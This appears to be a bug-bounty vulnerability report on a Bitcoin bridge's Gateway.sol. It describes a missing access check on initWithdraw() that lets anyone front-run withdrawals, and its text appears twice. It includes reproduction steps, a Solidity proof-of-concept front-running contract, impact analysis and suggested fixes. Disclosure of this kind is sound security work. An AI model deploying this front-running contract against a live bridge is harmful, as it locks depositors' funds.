CVSS 3.1: 8.1 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Description of the vulnerability
Gateway.sol's initWithdraw(bytes16 instanceId, bytes16 graphId) is an external function with no access control modifier. It does not verify that msg.sender is the depositor who originally created the pegin request (peginData.depositorAddress), nor that msg.sender is the registered operator for this graph instance.
Any address holding sufficient pegBTC can call initWithdraw() on a pegin that has reached Withdrawable status. This locks the pegin UTXO on the Bitcoin side and prevents the legitimate depositor from withdrawing their BTC back to Bitcoin.
Additionally, the user-side cancelWithdraw() function is fully commented out in the current source code. The only cancel path is committeeCancelWithdraw(), which requires committee signature approval and returns the locked pegBTC to withdrawData.operatorAddress — which, after a front-run, is the attacker, not the original depositor.
Affected component(s)
- Bridge Smart Contract:
bitvm-L2-contracts/src/Gateway.sol — initWithdraw() function
- Bridge lifecycle phase: Withdrawal initialization (peg-out flow)
- Related:
cancelWithdraw() (commented out), committeeCancelWithdraw() (wrong recipient after front-run)
Steps to reproduce
- User calls
postPeginRequest() → peginData.depositorAddress = user, peginData.status = Pending
- Committee members call
answerPeginRequest() → committee pubkeys registered
- Committee calls
postPeginData() with valid pegin tx + merkle proof + sigs → status = Withdrawable, pegBTC minted to depositor
- Committee calls
postGraphData() with operator's graph → graph linked to instance
- Operator prepares
initWithdraw() transaction (locks pegBTC, initiates BTC-side peg-out)
- Attacker observes the mempool and front-runs the operator's
initWithdraw() with identical instanceId/graphId parameters but attacker's address
- Attacker's call succeeds:
peginData.status = Locked, withdrawData.operatorAddress = attacker
- Operator's original transaction reverts: status is now
Locked, not Withdrawable
- No
cancelWithdraw() function exists (commented out) for the real operator to recover
Proof of concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGateway {
function initWithdraw(bytes16 instanceId, bytes16 graphId) external;
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
/// @notice Attacker contract that front-runs the operator's initWithdraw()
/// @dev Requires: attacker holds pegBTC >= lockAmount and has approved this contract
contract FrontRunInitWithdraw {
IGateway public immutable gateway;
IERC20 public immutable pegBTC;
constructor(IGateway _gateway, IERC20 _pegBTC) {
gateway = _gateway;
pegBTC = _pegBTC;
}
function frontRun(
bytes16 instanceId,
bytes16 graphId,
uint256 pegBTCAmount
) external {
// Step 1: Approve the Gateway to pull our pegBTC
pegBTC.approve(address(gateway), pegBTCAmount);
// Step 2: Call initWithdraw — succeeds if we are first
// This locks the pegin UTXO and sets us as withdrawData.operatorAddress
gateway.initWithdraw(instanceId, graphId);
// At this point:
// - peginData.status = Locked (was Withdrawable)
// - withdrawData.operatorAddress = address(this)
// - withdrawData.status = Initialized
// The real operator's initWithdraw() will revert with WithdrawStatusInvalid
// The real depositor cannot withdraw BTC back to Bitcoin
}
}
On-chain state after front-run:
| Field |
Before |
After |
peginData.status |
Withdrawable |
Locked |
withdrawData.operatorAddress |
zero address |
attacker |
withdrawData.status |
None |
Initialized |
The real depositor's BTC on the Bitcoin side cannot be recovered through the bridge because:
initWithdraw() reverts (status is Locked, not Withdrawable)
cancelWithdraw() is commented out in the source
committeeCancelWithdraw() sends pegBTC to withdrawData.operatorAddress (the attacker)
Security impact
-
Griefing: Any attacker can permanently lock a depositor's pegin UTXO by front-running, preventing them from exiting the bridge. The depositor's BTC is stuck on the Bitcoin side.
-
No recovery path: cancelWithdraw() is commented out. The depositor has no user-side mechanism to cancel a front-run withdraw and re-initialize.
-
Wrong fund recovery: Even if the committee intervenes via committeeCancelWithdraw(), the locked pegBTC is returned to withdrawData.operatorAddress — which after the front-run is the attacker. The real depositor does not recover their pegBTC.
-
Mempool sniping surface: Because initWithdraw() is a standard external call, its parameters (instanceId, graphId) are visible in the public mempool, making front-running trivially exploitable with standard MEV infrastructure.
Why this is in scope
This falls under the bounty's stated scope of "Peg-in and peg-out flows", "Bridge state transitions", and "Bridge Smart Contracts". The vulnerability enables a practical attack on the complete bridge lifecycle during the withdrawal phase.
Severity justification
HIGH (CVSS 8.1): While this is primarily a griefing/stuck-funds vector (attacker cannot directly steal the depositor's BTC), it creates a denial of withdrawal scenario where the depositor's BTC is locked on the Bitcoin side with no user-side recovery. The compounded issue of cancelWithdraw() being commented out and committeeCancelWithdraw() returning funds to the wrong party elevates this beyond simple griefing.
If initWithdraw() is intentionally permissionless (i.e., any party can initiate withdrawal by locking pegBTC), then the missing piece is the recovery path — cancelWithdraw() being commented out means the depositor cannot reclaim their pegin if someone else front-runs the initialization.
Suggested fix
Option A — restrict to depositor:
function initWithdraw(bytes16 instanceId, bytes16 graphId) external {
PeginDataInner storage peginData = peginDataMap[instanceId];
require(msg.sender == peginData.depositorAddress, "NotDepositor");
// ... rest of the function
}
Option B — restrict to graph operator:
modifier onlyGraphOperator(bytes16 graphId) {
GraphData storage graphData = graphDataMap[graphId];
address operatorAddr = stakeManagement.pubkeyToAddress(graphData.operatorPubkey);
require(msg.sender == operatorAddr, "NotGraphOperator");
_;
}
function initWithdraw(bytes16 instanceId, bytes16 graphId) external onlyGraphOperator(graphId) {
// ... existing logic
}
Option C — re-enable cancelWithdraw():
Uncomment and fix the commented-out cancelWithdraw() function to provide a user-side recovery path even if initWithdraw() remains permissionless.
Full scan artifacts available on request. The vulnerability was identified through source code analysis of the bitvm-L2-contracts repository (default branch).
CVSS 3.1: 8.1 (HIGH) —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:HDescription of the vulnerability
Gateway.sol'sinitWithdraw(bytes16 instanceId, bytes16 graphId)is anexternalfunction with no access control modifier. It does not verify thatmsg.senderis the depositor who originally created the pegin request (peginData.depositorAddress), nor thatmsg.senderis the registered operator for this graph instance.Any address holding sufficient pegBTC can call
initWithdraw()on a pegin that has reachedWithdrawablestatus. This locks the pegin UTXO on the Bitcoin side and prevents the legitimate depositor from withdrawing their BTC back to Bitcoin.Additionally, the user-side
cancelWithdraw()function is fully commented out in the current source code. The only cancel path iscommitteeCancelWithdraw(), which requires committee signature approval and returns the locked pegBTC towithdrawData.operatorAddress— which, after a front-run, is the attacker, not the original depositor.Affected component(s)
bitvm-L2-contracts/src/Gateway.sol—initWithdraw()functioncancelWithdraw()(commented out),committeeCancelWithdraw()(wrong recipient after front-run)Steps to reproduce
postPeginRequest()→peginData.depositorAddress = user,peginData.status = PendinganswerPeginRequest()→ committee pubkeys registeredpostPeginData()with valid pegin tx + merkle proof + sigs → status =Withdrawable, pegBTC minted to depositorpostGraphData()with operator's graph → graph linked to instanceinitWithdraw()transaction (locks pegBTC, initiates BTC-side peg-out)initWithdraw()with identicalinstanceId/graphIdparameters but attacker's addresspeginData.status = Locked,withdrawData.operatorAddress = attackerLocked, notWithdrawablecancelWithdraw()function exists (commented out) for the real operator to recoverProof of concept
On-chain state after front-run:
peginData.statusWithdrawableLockedwithdrawData.operatorAddresswithdrawData.statusNoneInitializedThe real depositor's BTC on the Bitcoin side cannot be recovered through the bridge because:
initWithdraw()reverts (status isLocked, notWithdrawable)cancelWithdraw()is commented out in the sourcecommitteeCancelWithdraw()sends pegBTC towithdrawData.operatorAddress(the attacker)Security impact
Griefing: Any attacker can permanently lock a depositor's pegin UTXO by front-running, preventing them from exiting the bridge. The depositor's BTC is stuck on the Bitcoin side.
No recovery path:
cancelWithdraw()is commented out. The depositor has no user-side mechanism to cancel a front-run withdraw and re-initialize.Wrong fund recovery: Even if the committee intervenes via
committeeCancelWithdraw(), the locked pegBTC is returned towithdrawData.operatorAddress— which after the front-run is the attacker. The real depositor does not recover their pegBTC.Mempool sniping surface: Because
initWithdraw()is a standard external call, its parameters (instanceId,graphId) are visible in the public mempool, making front-running trivially exploitable with standard MEV infrastructure.Why this is in scope
This falls under the bounty's stated scope of "Peg-in and peg-out flows", "Bridge state transitions", and "Bridge Smart Contracts". The vulnerability enables a practical attack on the complete bridge lifecycle during the withdrawal phase.
Severity justification
HIGH (CVSS 8.1): While this is primarily a griefing/stuck-funds vector (attacker cannot directly steal the depositor's BTC), it creates a denial of withdrawal scenario where the depositor's BTC is locked on the Bitcoin side with no user-side recovery. The compounded issue of
cancelWithdraw()being commented out andcommitteeCancelWithdraw()returning funds to the wrong party elevates this beyond simple griefing.If
initWithdraw()is intentionally permissionless (i.e., any party can initiate withdrawal by locking pegBTC), then the missing piece is the recovery path —cancelWithdraw()being commented out means the depositor cannot reclaim their pegin if someone else front-runs the initialization.Suggested fix
Option A — restrict to depositor:
Option B — restrict to graph operator:
Option C — re-enable cancelWithdraw():
Uncomment and fix the commented-out
cancelWithdraw()function to provide a user-side recovery path even ifinitWithdraw()remains permissionless.Full scan artifacts available on request. The vulnerability was identified through source code analysis of the
bitvm-L2-contractsrepository (default branch).